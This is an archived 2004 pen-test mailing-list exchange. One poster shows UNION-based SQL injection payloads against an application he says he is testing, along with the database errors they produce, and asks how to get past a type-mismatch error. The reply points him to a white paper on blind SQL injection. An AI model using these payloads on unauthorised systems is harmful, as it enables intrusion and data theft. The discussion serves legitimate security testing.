From: Amichai Shulman (shulman@imperva.com)
Date: Sun Jun 13 2004 - 07:15:00 EDT
Try "Blind Folder SQL Injection" it should do the trick. URL is
http://www.imperva.com/application_defense_center/white_papers/blind_sql
_server_injection.html
-----Original Message-----
From: Peter Bair [mailto:peterbair100@hotmail.com]
Sent: Thursday, June 10, 2004 1:51 AM
To: pen-test@securityfocus.com
Subject: SQL Injection & ncompatible with int issue
I am currently testing an application that reveals it tables. I know the
exact columns to perform a union but when I try the following:
xxx.xxx.xxx/item='+union select @@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1+--
RESULT:
Operand type clash: text is incompatible with int
So I will try the solution:
xxx.xxx.xxx/item='+union select
@@version,1,1,1,1,1,1,1,1,1,1,1,1,1,"text"+--
RESULT:
Invalid column name 'text'.
I know that "text" is in the correct position and I tried 'text'.
Is this app safe or can I go further?
Thanks for any help.
This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:56 EDT